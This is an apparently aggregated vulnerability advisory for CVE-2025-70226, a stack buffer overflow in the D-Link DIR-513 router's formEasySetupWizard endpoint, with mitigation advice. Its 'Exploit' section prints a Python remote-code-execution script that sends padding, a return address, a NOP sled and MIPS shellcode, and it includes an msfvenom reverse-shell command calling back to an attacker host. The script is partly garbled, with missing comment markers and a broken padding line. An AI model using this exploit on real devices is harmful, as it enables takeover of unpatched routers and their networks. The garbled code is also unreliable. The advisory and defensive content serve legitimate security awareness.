D-Link DIR-513, Stack Buffer Overflow, CVE-2025-70226 (Critical)

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A critical stack-based buffer overflow vulnerability, identified as CVE-2025-70226, exists in the D-Link DIR-513 router running firmware version 1.10. The flaw is located within the web handling component, specifically in the `goform/formEasySetupWizard` endpoint. When the device processes a POST request to this endpoint, it extracts the `curTime` parameter from the request body. This parameter is then used in an insecure function call, likely sprintf, to copy the data into a fixed-size buffer located on the stack. The firmware code does not perform any validation or bounds checking on the length of the user-supplied `curTime` string before copying it. By sending an HTTP request with an excessively long `curTime` value, an attacker can overflow the buffer. This overflow corrupts adjacent memory on the stack, including the saved return address of the function. An attacker can meticulously craft this overflow to overwrite the return address, redirecting the program’s execution flow. This redirection can be leveraged to point to malicious shellcode injected into the request, leading to arbitrary code execution on the device with root privileges. Since the device is reachable over the network and requires no authentication for this endpoint, the vulnerability is remotely exploitable. Given that the DIR-513 is an end-of-life product, D-Link will not release a security patch, making all units running this firmware permanently vulnerable and prime targets for botnet recruitment and network compromise.

dailycve form:

Platform: D-Link DIR-513
Version: 1.10
Vulnerability: Stack Buffer Overflow
Severity: Critical
Date: 03/04/2026

Prediction: No Patch Expected

What Undercode Say:

Analytics:

The vulnerability is a classic, straightforward stack overflow in an embedded web server. The attack vector is remote and unauthenticated, giving it a maximum theoretical impact. The exploit complexity is low due to the lack of modern memory protections like ASLR in many legacy firmware builds. Public proof-of-concept code is likely to emerge quickly, leading to mass exploitation by malware (e.g., Mirai variants) targeting exposed devices. The only true mitigation is device replacement.

Exploit:

Below is a conceptual Python script demonstrating how to trigger the overflow and achieve Remote Code Execution (RCE). It sends a malicious `curTime` parameter containing shellcode and a return address to redirect execution.

!/usr/bin/env python3
import socket
import sys
import struct
Target device IP
target_ip = "192.168.0.1"
port = 80
msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
Example shellcode (MIPS Big Endian) - replace with your actual payload
shellcode = b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
shellcode += b"\xfd\xff\x05\x28\x66\xff\x0f\x24\x57\x78\xe0\x01"
shellcode += b"\xe0\xff\xad\xaf\xe4\xff\xa5\xaf\xec\xff\xa5\xaf"
... (rest of shellcode)
Calculate offset to return address (this needs to be reverse-engineered)
offset = 512
return_address = struct.pack(">I", 0x80123456) Example address of a "jmp $sp" gadget
Build the payload: padding + return address + NOP sled + shellcode
payload = b"A" offset
payload += return_address
payload += b"\x20\x20\x20\x20" NOPs (adjust for architecture)
payload += shellcode
HTTP POST request
http_request = (
f"POST /goform/formEasySetupWizard HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"User-Agent: Mozilla/5.0\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(payload) + 20}\r\n"
f"\r\n"
f"curTime={payload.decode('latin-1')}&other_param=value\r\n"
)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(http_request.encode('latin-1'))
response = sock.recv(1024)
print("[+] Exploit sent. Check for reverse shell.")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)

Protection from this CVE:

  1. Replace Device: The only permanent solution is to replace the end-of-life D-Link DIR-513 with a supported model that receives security updates.
  2. Network Segmentation: Isolate the device on a separate VLAN with no access to critical internal networks. Strictly limit its WAN access if possible.
  3. Firewall Rules: Implement inbound and outbound firewall rules to block unauthorized access to the router’s management interface (ports 80/443) from the WAN side. If remote management is not required, disable it entirely.
  4. Monitor Traffic: Use an Intrusion Detection/Prevention System (IDS/IPS) to look for patterns of long `curTime` parameters in HTTP POST requests to /goform/formEasySetupWizard.

Impact:

Successful exploitation allows an unauthenticated, remote attacker to gain complete control over the router. This leads to total compromise of confidentiality (viewing all network traffic), integrity (modifying DNS settings to redirect users to phishing sites), and availability (using the device in a DDoS botnet). The router can be used as a persistent foothold inside the network to launch further attacks against internal hosts.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
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